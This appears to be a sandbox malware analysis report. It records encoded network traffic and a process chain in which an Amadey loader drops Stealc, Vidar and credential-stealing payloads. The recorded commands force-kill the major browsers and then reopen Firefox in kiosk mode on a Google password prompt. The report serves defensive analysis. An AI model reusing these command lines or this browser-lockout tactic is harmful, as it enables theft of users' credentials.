878fHZnEuxJW9LaweG6FS6DBpU/oevehNnvpZeNfnsV1q4sPU8S7kVeyZX7rK9UNMMGk3X2odKM1+qumM44MADO/HJwaQX4R1zV1NPmvhwuigqWMKnlmseU7r3XlXAaH8XifmpsV+EMS5/QzazoWimCBZ4xoO/ehdLnqJjLOjsVxOZ8fGEc8UJX0tPH4LEfbc1BmC3uuZqn0+q31fgzNRzJ+DRiIg6+RV6fj4HitRU/ghOaO7zt34/Z6quXyDc2
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 52 69 49 67 36 2b 52 56 36 66 6a 34 48 67 75 52 6f 6d 69 51 57 66 4d 71 50 6b 32 59 37 58 35 4b 4b 64 77 7a 63 2f 48 73 66 6a 63 6e 31 72 45 2f 74 51 56 39 62 62 7a 61 7a 2b 57 69 71 62 51 63 64 31 67 65 62 4d 69 76 76 71 74 4a 36 4e 4c 33 55 4c 6a 75 6c 34 50 54 52 58 2b 55 64 61 31 4e 48 4a 37 4b 49 66 49 34 67 41 6c 54 4f 76 37 4e 61 50 31 4f 69 6c 6b 63 45 77 50 42 58 63 2f 48 46 37 66 68 32 2b 44 42 4c 59 7a 34 47 30 38 43 77 39 6c 42 43 4a 64 35 76 69 31 49 66 54 2f 2b 57 49 67 79 6c 37 46 63 4b 75 4c 44 31 6e 46 2f 4a 46 57 74 6e 54 79 65 4f 2f 45 7a 2b 43 44 5a 45 6e 71 65 48 54 68 39 76 6c 72 4a 72 4b 50 54 41 59 77 2b 70 7a 66 43 78 5a 76 6b 56 4b 6e 34 2b 42 32 71 41 58 49 61 30 4b 6b 7a 7a 75 2f 70 53 51 6c 4f 36 70 31 35 56 77 50 78 37 47 35 Data Ascii: RiIg6+RV6fj4HguRomiQWfMqPk2Y7X5KKdwzc/Hsfjcn1rE/tQV9bbzaz+WiqbQcd1gebMivvqtJ6NL3ULjul4PTRX+Uda1NHJ7KIfI4gAlTOv7NaP1OilkcEwPBXc/HF7fh2+DBLYz4G08Cw9lBCJd5vi1IfT/+WIgyl7FcKuLD1nF/JFWtnTyeO/Ez+CDZEnqeHTh9vlrJrKPTAYw+pzfCxZvkVKn4+B2qAXIa0Kkzzu/pSQlO6p15VwPx7G5
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 53 2b 6b 56 57 32 64 69 42 6f 76 41 64 4e 63 4e 5a 33 78 71 4a 31 4a 69 6f 37 71 6d 36 32 64 52 77 50 42 36 4f 74 6a 52 78 62 78 76 32 54 56 54 57 32 38 76 6c 75 78 59 6d 68 77 32 57 4d 4b 6a 67 33 34 7a 56 37 61 6d 64 79 7a 4d 34 48 63 48 68 66 44 30 69 56 2f 6c 61 45 6f 65 58 35 50 75 37 46 43 76 44 48 74 45 73 37 75 62 57 79 59 79 70 71 5a 37 4c 4e 6a 34 65 7a 2b 68 38 65 47 51 54 2f 30 52 55 33 4e 6a 46 36 62 45 56 4b 59 38 50 6c 54 53 76 37 64 47 47 33 2b 7a 6c 32 59 30 33 49 31 4b 57 72 6b 56 2b 65 67 44 75 54 68 4c 41 6d 64 69 73 74 78 5a 74 32 30 47 65 4a 36 54 72 31 49 7a 62 37 4b 61 59 79 6a 30 39 48 73 54 6e 66 48 74 6a 48 75 78 42 58 74 48 51 7a 2b 43 2b 46 79 65 41 44 4e 39 37 37 75 62 43 79 59 79 70 69 5a 44 41 48 6a 41 65 79 61 35 72 4d 33 Data Ascii: S+kVW2diBovAdNcNZ3xqJ1Jio7qm62dRwPB6OtjRxbxv2TVTW28vluxYmhw2WMKjg34zV7amdyzM4HcHhfD0iV/laEoeX5Pu7FCvDHtEs7ubWyYypqZ7LNj4ez+h8eGQT/0RU3NjF6bEVKY8PlTSv7dGG3+zl2Y03I1KWrkV+egDuThLAmdistxZt20GeJ6Tr1Izb7KaYyj09HsTnfHtjHuxBXtHQz+C+FyeADN977ubCyYypiZDAHjAeya5rM3
2024-10-24 06:39:11 UTC	935	IN	Data Raw: 56 63 65 58 6d 61 79 47 48 54 32 54 41 74 30 45 75 4f 4c 4d 67 74 6e 6c 35 59 69 44 4b 58 73 56 77 71 34 73 50 57 6f 59 39 30 46 64 33 74 37 4e 34 62 55 54 4b 49 49 48 6d 7a 2b 6b 34 64 79 50 31 65 79 76 6c 4d 77 36 4d 68 58 47 36 58 64 76 4c 46 6d 2b 52 55 71 66 6a 34 48 46 74 77 67 6a 6b 30 47 41 65 37 65 68 33 59 57 55 73 65 57 54 78 7a 38 2f 46 63 4c 6f 63 58 74 68 46 76 46 44 55 74 44 54 79 75 57 32 47 79 43 47 44 4a 73 6e 70 4f 72 56 68 64 33 6c 71 4e 65 44 63 44 77 4b 6a 72 59 30 54 47 45 5a 38 45 56 45 6e 38 69 50 39 66 41 64 49 63 4e 5a 33 7a 53 69 37 74 6d 47 31 2b 71 6b 6e 64 38 69 4e 78 76 47 36 33 68 32 59 68 48 73 52 46 33 57 31 4d 4c 6c 74 78 49 68 69 51 4b 59 64 65 43 68 33 5a 47 55 73 65 57 30 32 69 41 32 55 74 47 67 62 54 31 72 47 37 34 Data Ascii: VceXmayGHT2TAt0EuOLMgtnl5YiDKXsVwq4sPWoY90Fd3t7N4bUTKIIHmz+k4dyP1eyvlMw6MhXG6XdvLFm+RUqfj4HFtwgjk0GAe7eh3YWUseWTxz8/FcLocXthFvFDUtDTyuW2GyCGDJsnpOrVhd3lqNeDcDwKjrY0TGEZ8EVEn8iP9fAdIcNZ3zSi7tmG1+qknd8iNxvG63h2YhHsRF3W1MLltxIhiQKYdeCh3ZGUseW02iA2UtGgbT1rG74
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 32 61 38 64 0d 0a 6d 42 58 70 67 4a 66 30 39 72 46 2f 72 77 61 4c 59 6f 47 6c 53 65 68 37 74 65 4b 31 4f 79 33 6c 74 38 2f 4d 42 66 4e 36 6e 74 79 59 42 2f 30 41 68 79 66 30 4e 6d 73 36 46 6f 42 67 42 43 56 64 34 6e 37 7a 49 37 59 2b 4b 36 61 77 58 41 6b 58 4e 65 75 63 33 45 73 54 37 35 43 55 39 4c 46 78 4f 32 36 45 43 43 4c 44 70 6f 77 6f 65 58 65 67 74 72 37 71 35 6a 4e 4e 6a 41 54 79 2b 31 2f 64 32 49 65 37 41 49 63 6e 39 44 5a 72 4f 68 61 42 35 67 41 6b 6a 6e 73 7a 39 47 66 30 36 75 45 6d 63 59 33 4e 77 53 4f 38 54 70 6b 4c 42 44 79 41 67 71 66 33 73 2f 67 73 78 30 6c 69 77 53 66 50 71 37 75 30 49 66 54 2b 36 2b 62 78 79 49 30 45 63 50 71 65 58 64 70 48 75 78 48 57 39 6d 58 6a 36 79 33 41 6d 33 62 51 61 63 2b 6f 4e 50 5a 6b 70 54 32 36 34 36 4e 4e 7a Data Ascii: 2a8dmBXpgJf09rF/rwaLYoGlSeh7teK1Oy3lt8/MBfN6ntyYB/0Ahyf0Nms6FoBgBCVd4n7zI7Y+K6awXAkXNeuc3EsT75CU9LFxO26ECCLDpowoeXegtr7q5jNNjATy+1/d2Ie7AIcn9DZrOhaB5gAkjnsz9Gf06uEmcY3NwSO8TpkLBDyAgqf3s/gsx0liwSfPq7u0IfT+6+bxyI0EcPqeXdpHuxHW9mXj6y3Am3bQac+oNPZkpT2646NNz
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 66 6e 64 2b 48 76 64 50 58 4e 66 46 77 71 7a 2b 57 69 71 62 51 63 64 31 6e 4f 76 5a 68 63 4c 6b 71 74 66 53 66 69 4a 53 79 65 49 30 4a 53 77 46 37 45 4a 5a 33 39 44 50 2f 72 45 53 49 6f 6b 42 6d 54 36 6b 34 74 4f 4e 32 75 43 6a 6c 73 41 78 4f 68 4c 4c 37 6e 31 76 59 56 65 77 41 6c 58 48 6c 35 6d 73 68 78 59 6d 73 67 4b 4a 64 62 47 76 77 38 6e 54 35 65 58 50 6a 54 45 70 48 38 62 71 64 48 42 71 48 50 39 44 55 64 2f 58 77 75 79 31 45 53 4b 46 42 70 49 2f 70 2b 6a 49 67 64 44 37 70 5a 76 4a 63 48 56 53 79 66 59 30 4a 53 77 6e 2f 55 6c 65 33 39 72 55 72 4b 39 55 4e 4d 4d 47 6b 33 58 32 6f 64 4b 43 33 2b 2b 75 6c 4d 34 2b 4d 42 6a 42 34 58 35 37 61 68 2f 37 51 6c 37 66 30 73 66 6f 74 42 51 71 6a 51 79 65 4a 36 33 6f 6d 73 65 55 37 72 33 58 6c 58 41 62 47 64 6a Data Ascii: fnd+HvdPXNfFwqz+WiqbQcd1nOvZhcLkqtfSfiJSyeI0JSwF7EJZ39DP/rESIokBmT6k4tON2uCjlsAxOhLL7n1vYVewAlXHl5mshxYmsgKJdbGvw8nT5eXPjTEpH8bqdHBqHP9DUd/Xwuy1ESKFBpI/p+jIgdD7pZvJcHVSyfY0JSwn/Ule39rUrK9UNMMGk3X2odKC3++ulM4+MBjB4X57ah/7Ql7f0sfotBQqjQyeJ63omseU7r3XlXAbGdj
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 67 69 77 57 78 4c 4a 6c 35 6d 2b 2f 6c 6f 2f 77 31 6e 66 63 71 33 7a 79 49 2f 58 2f 36 62 51 38 77 34 62 47 63 4c 74 65 48 78 72 56 37 41 43 58 5a 2b 50 2b 4b 79 7a 43 44 2f 4d 45 49 6b 34 76 75 61 57 67 63 58 6b 71 64 65 44 63 48 63 57 78 65 4a 78 65 6e 78 59 37 46 4a 5a 30 38 47 4e 36 4b 4a 61 59 38 4d 51 6c 44 71 38 37 39 33 47 78 66 2b 6f 68 38 34 31 50 46 37 47 2f 33 6c 78 4c 46 6d 2b 56 31 6e 54 30 63 7a 35 2f 77 73 37 67 42 65 59 65 61 62 77 31 34 57 55 31 75 76 58 31 58 42 6a 55 76 76 74 65 6e 4e 72 41 65 38 50 63 74 54 62 77 75 43 78 48 57 33 4e 51 5a 6c 31 39 72 4b 55 79 64 44 34 35 63 2b 64 59 6d 42 48 6e 62 6b 6b 4c 33 4e 5a 35 77 4a 45 6e 34 2b 54 6f 76 41 49 62 64 74 42 32 44 61 38 38 39 79 4b 77 75 72 69 71 66 4d 78 4e 68 32 43 34 48 39 39 Data Ascii: giwWxLJl5m+/lo/w1nfcq3zyI/X/6bQ8w4bGcLteHxrV7ACXZ+P+KyzCD/MEIk4vuaWgcXkqdeDcHcWxeJxenxY7FJZ08GN6KJaY8MQlDq8793Gxf+oh841PF7G/3lxLFm+V1nT0cz5/ws7gBeYeabw14WU1uvX1XBjUvvtenNrAe8PctTbwuCxHW3NQZl19rKUydD45c+dYmBHnbkkL3NZ5wJEn4+TovAIbdtB2Da889yKwuriqfMxNh2C4H99
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 78 56 34 65 6e 67 35 71 41 58 49 6f 51 2f 6f 51 4b 2f 35 73 72 4c 38 75 71 7a 6c 49 31 2b 65 77 71 4f 74 6a 52 63 5a 67 66 7a 54 56 57 66 6d 59 48 6f 38 45 4a 74 70 67 79 53 4d 4b 44 6d 6d 4b 6a 65 2b 61 69 59 79 6e 42 31 55 73 4b 75 4c 44 31 74 48 65 35 50 58 64 69 62 78 76 61 33 57 6d 50 44 44 39 39 74 37 75 44 51 6d 64 6e 6d 6f 74 76 4c 50 6a 56 53 30 61 42 74 50 58 70 58 70 68 45 63 6e 38 57 42 74 50 42 64 49 34 34 41 6e 44 75 74 38 38 69 50 31 2f 2b 6d 30 50 4d 4f 48 68 2f 44 36 33 70 36 55 69 6e 66 53 45 4c 53 32 4d 61 75 6b 42 30 37 67 44 2b 68 41 72 2f 6d 79 73 76 79 36 72 4f 55 6a 58 35 37 43 6f 36 32 4e 46 78 6d 42 2f 4e 4e 56 5a 33 33 78 76 71 7a 57 6d 50 44 42 64 39 74 37 73 54 58 68 4e 48 6e 6f 74 58 73 4f 69 73 66 77 65 6b 32 58 57 73 42 2f Data Ascii: xV4eng5qAXIoQ/oQK/5srL8uqzlI1+ewqOtjRcZgfzTVWfmYHo8EJtpgySMKDmmKje+aiYynB1UsKuLD1tHe5PXdibxva3WmPDD99t7uDQmdnmotvLPjVS0aBtPXpXphEcn8WBtPBdI44AnDut88iP1/+m0PMOHh/D63p6UinfSELS2MaukB07gD+hAr/mysvy6rOUjX57Co62NFxmB/NNVZ33xvqzWmPDBd9t7sTXhNHnotXsOisfwek2XWsB/

Target ID:	0
Start time:	02:37:04
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\g4Cyr2T5jq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\g4Cyr2T5jq.exe"
Imagebase:	0x4e0000
File size:	1'959'936 bytes
MD5 hash:	7D31FAD9B219D539D3C5915DFF14A669
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2170764560.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2084121565.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:37:11
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xe80000
File size:	1'959'936 bytes
MD5 hash:	7D31FAD9B219D539D3C5915DFF14A669
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2193890325.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2153124653.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:37:12
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe80000
File size:	1'959'936 bytes
MD5 hash:	7D31FAD9B219D539D3C5915DFF14A669
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2204100473.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2162980289.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:38:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe80000
File size:	1'959'936 bytes
MD5 hash:	7D31FAD9B219D539D3C5915DFF14A669
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2635193986.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:38:13
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"
Imagebase:	0x7d0000
File size:	2'963'456 bytes
MD5 hash:	30FCEAD7FF4FC69F9DA4ECFA4837AD83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:38:22
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"
Imagebase:	0x810000
File size:	1'837'568 bytes
MD5 hash:	2CD42CDA18A7285D3B070C15699B975A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2874827283.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:38:28
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"
Imagebase:	0x7d0000
File size:	2'963'456 bytes
MD5 hash:	30FCEAD7FF4FC69F9DA4ECFA4837AD83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:38:30
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe"
Imagebase:	0x470000
File size:	919'552 bytes
MD5 hash:	7D14662A9C03A2F5C76282EF751E4D00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000A.00000003.2995975951.0000000001160000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:38:30
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:38:30
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x7ff757150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:38:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:38:34
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:38:34
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:38:34
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:38:35
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2172 -parentBuildID 20230927232528 -prefsHandle 2120 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8f79fb1-7992-418d-8066-e9420ef7e2ed} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 2881366dd10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:38:36
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"
Imagebase:	0x810000
File size:	1'837'568 bytes
MD5 hash:	2CD42CDA18A7285D3B070C15699B975A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.3198812078.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.3201845149.000000000167B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.3018637776.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:38:36
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001137001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001137001\num.exe"
Imagebase:	0x40000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000000.2989582448.0000000000041000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.3246728822.0000000000041000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.3248429652.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:38:39
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3408 -parentBuildID 20230927232528 -prefsHandle 1796 -prefMapHandle 3296 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {225d9705-84ed-4a26-82df-72d52f28abca} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 28823e5ac10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:38:44
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe"
Imagebase:	0x470000
File size:	919'552 bytes
MD5 hash:	7D14662A9C03A2F5C76282EF751E4D00
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
